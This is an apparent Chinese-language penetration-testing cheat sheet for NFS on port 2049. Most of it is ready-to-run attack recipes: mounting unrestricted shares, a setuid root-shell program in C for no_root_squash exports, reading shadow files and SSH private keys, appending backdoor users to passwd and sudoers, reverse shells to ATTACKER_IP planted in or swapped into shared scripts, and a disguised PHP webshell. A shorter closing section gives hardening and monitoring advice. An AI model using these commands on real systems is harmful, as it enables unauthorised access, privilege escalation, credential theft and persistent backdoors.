2049 - NFS 服务渗透测试

服务概述

NFS (Network File System) 是 Unix 系统常用的文件共享协议。配置不当可导致未授权访问、权限提升、敏感文件读取。

默认端口: 2049 (TCP/UDP)
危害等级: ⭐⭐⭐⭐


信息收集

服务识别

# nmap 扫描
nmap -sV --script nfs-ls,nfs-statfs,nfs-showmount -p 2049 TARGET

# 显示共享
showmount -e TARGET

# 枚举客户端
showmount -a TARGET

# 显示导出
showmount -e TARGET --all

共享枚举

# 列出共享目录
showmount -e TARGET

# 输出示例:
# Export list for TARGET:
# /home *
# /data 192.168.1.0/24
# /backup 192.168.1.100

# 查看已挂载
showmount -a TARGET

# 输出示例:
# All mount entries on TARGET:
# 192.168.1.50:/home
# 192.168.1.51:/data

权限检查

# 检查 no_root_squash
showmount -e TARGET

# 如果显示 (no_root_squash)
# 表示 root 用户不会被映射为 nobody

# 检查读写权限
# rw = 读写
# ro = 只读
# async = 异步写入

常见攻击手法

1. 未授权访问

原理: NFS 共享未限制访问来源,任意客户端可挂载。

利用:

# 1. 创建挂载点
mkdir /tmp/nfs_mount

# 2. 挂载共享
mount -t nfs TARGET:/SHARE /tmp/nfs_mount

# 3. 访问文件
ls -la /tmp/nfs_mount
cat /tmp/nfs_mount/sensitive_file

# 4. 如果可写
echo "malicious" > /tmp/nfs_mount/file.txt

2. no_root_squash 提权

原理: no_root_squash 选项使 root 用户保持 root 权限。

利用:

# 1. 发现 no_root_squash 共享
showmount -e TARGET
# 输出:/home *(rw,no_root_squash)

# 2. 挂载
mkdir /tmp/nfs_mount
mount -t nfs TARGET:/home /tmp/nfs_mount

# 3. 创建 SUID 文件
cd /tmp/nfs_mount
cat > shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh", 0);
}
EOF

# 4. 编译
gcc shell.c -o shell

# 5. 设置 SUID
chmod +s shell

# 6. 在目标机器执行
# 获取 root shell
./shell

3. 敏感文件读取

原理: NFS 共享包含敏感配置文件。

利用:

# 1. 挂载共享
mount -t nfs TARGET:/SHARE /tmp/nfs_mount

# 2. 查找敏感文件
find /tmp/nfs_mount -name "*.conf"
find /tmp/nfs_mount -name "*password*"
find /tmp/nfs_mount -name ".ssh" -type d

# 3. 读取敏感文件
cat /tmp/nfs_mount/etc/passwd
cat /tmp/nfs_mount/etc/shadow
cat /tmp/nfs_mount/root/.ssh/id_rsa

# 4. 查找备份文件
find /tmp/nfs_mount -name "*.bak"
find /tmp/nfs_mount -name "*~"

4. 配置文件篡改

原理: 可写 NFS 共享可修改配置文件。

利用:

# 1. 挂载可写共享
mount -t nfs TARGET:/etc /tmp/nfs_mount

# 2. 修改 passwd 添加用户
echo "backdoor:$(openssl passwd -1 password):0:0:root:/root:/bin/bash" >> /tmp/nfs_mount/passwd

# 3. 或修改 sudoers
echo "backdoor ALL=(ALL) NOPASSWD:ALL" >> /tmp/nfs_mount/sudoers

# 4. 或添加 SSH 密钥
echo "ssh-rsa AAAA... attacker@kali" >> /tmp/nfs_mount/root/.ssh/authorized_keys

5. 共享注入

原理: 在共享中放置恶意文件,等待目标执行。

利用:

# 1. 挂载共享
mount -t nfs TARGET:/SHARE /tmp/nfs_mount

# 2. 放置恶意脚本
cat > /tmp/nfs_mount/backdoor.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /tmp/nfs_mount/backdoor.sh

# 3. 或替换合法脚本
cp /tmp/nfs_mount/legit_script.sh /tmp/backup
cat > /tmp/nfs_mount/legit_script.sh << EOF
#!/bin/bash
# 恶意代码
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# 原始功能
EOF

# 4. 等待目标执行

实战案例

案例 1: no_root_squash 提权

# 1. 扫描 NFS
nmap -sV --script nfs-ls,nfs-statfs,nfs-showmount -p 2049 TARGET

# 2. 发现 no_root_squash
showmount -e TARGET
# 输出:/backup *(rw,no_root_squash,sync)

# 3. 挂载
mkdir /tmp/nfs_backup
mount -t nfs TARGET:/backup /tmp/nfs_backup

# 4. 创建 SUID shell
cd /tmp/nfs_backup
cat > shell.c << EOF
#include <stdio.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh", 0);
}
EOF
gcc shell.c -o shell
chmod +s shell

# 5. 在目标机器执行 shell
# 获取 root 权限

案例 2: SSH 密钥窃取

# 1. 枚举共享
showmount -e TARGET
# 输出:/home *(ro,sync)

# 2. 挂载
mkdir /tmp/nfs_home
mount -t nfs TARGET:/home /tmp/nfs_home

# 3. 查找 SSH 密钥
find /tmp/nfs_home -name "id_rsa"
find /tmp/nfs_home -name "authorized_keys"

# 4. 读取密钥
cat /tmp/nfs_home/user1/.ssh/id_rsa

# 5. 使用密钥登录
chmod 600 id_rsa
ssh -i id_rsa user1@TARGET

案例 3: 配置文件篡改

# 1. 发现可写共享
showmount -e TARGET
# 输出:/etc *(rw,sync,no_subtree_check)

# 2. 挂载
mkdir /tmp/nfs_etc
mount -t nfs TARGET:/etc /tmp/nfs_etc

# 3. 添加后门用户
echo "hacker:\$1\$xyz\$hashed_password:0:0:root:/root:/bin/bash" >> /tmp/nfs_etc/passwd

# 4. 或修改 sudoers
echo "hacker ALL=(ALL) NOPASSWD:ALL" >> /tmp/nfs_etc/sudoers

# 5. 等待目标重启服务或重新读取配置

案例 4: Webshell 放置

# 1. 发现 Web 目录共享
showmount -e TARGET
# 输出:/var/www/html *(rw,sync)

# 2. 挂载
mkdir /tmp/nfs_www
mount -t nfs TARGET:/var/www/html /tmp/nfs_www

# 3. 放置 webshell
cat > /tmp/nfs_www/shell.php << EOF
<?php system(\$_GET['cmd']); ?>
EOF

# 4. 访问 webshell
http://TARGET/shell.php?cmd=id

# 5. 或使用更隐蔽的名字
cat > /tmp/nfs_www/config_bak.php << EOF
<?php system(\$_GET['c']); ?>
EOF

工具

showmount

# 显示共享
showmount -e TARGET

# 显示客户端
showmount -a TARGET

# 显示所有
showmount -e TARGET --all

# 详细输出
showmount -ev TARGET

nfsenum (Nmap)

# NFS 枚举
nmap --script nfs-ls,nfs-statfs,nfs-showmount -p 2049 TARGET

# 列出目录
nmap --script nfs-ls --script-args nfs-ls.root=/share -p 2049 TARGET

# 统计信息
nmap --script nfs-statfs -p 2049 TARGET

nfsclient

# 挂载测试
mount -t nfs TARGET:/SHARE /mnt

# 指定版本
mount -t nfs -o vers=3 TARGET:/SHARE /mnt
mount -t nfs -o vers=4 TARGET:/SHARE /mnt

# 指定选项
mount -t nfs -o rw,hard,intr TARGET:/SHARE /mnt

防御建议

服务器配置

# /etc/exports 配置

# ❌ 不安全
/home *(rw,no_root_squash,sync)

# ✅ 安全配置
/home 192.168.1.0/24(ro,sync,root_squash,no_subtree_check)
/data 192.168.1.100(rw,sync,root_squash)

# 选项说明:
# ro = 只读
# rw = 读写
# root_squash = root 映射为 nobody
# no_root_squash = root 保持 root (危险!)
# sync = 同步写入
# async = 异步写入
# no_subtree_check = 禁用子树检查
# secure = 仅允许特权端口

防火墙规则

# 限制 NFS 访问
iptables -A INPUT -p tcp --dport 2049 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p udp --dport 2049 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 2049 -j DROP
iptables -A INPUT -p udp --dport 2049 -j DROP

# RPC 端口也需要限制
iptables -A INPUT -p tcp --dport 111 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 111 -j DROP

监控检测

# 1. 监控挂载事件
grep "nfs" /var/log/syslog

# 2. 监控文件修改
auditctl -w /etc/exports -p wa -k nfs_config

# 3. 网络流量
tshark -i eth0 -Y "nfs" -T fields -e ip.src -e nfs.proc

# 4. 异常检测
# 未知 IP 挂载
# 大量文件读取
# 敏感文件访问

参考链接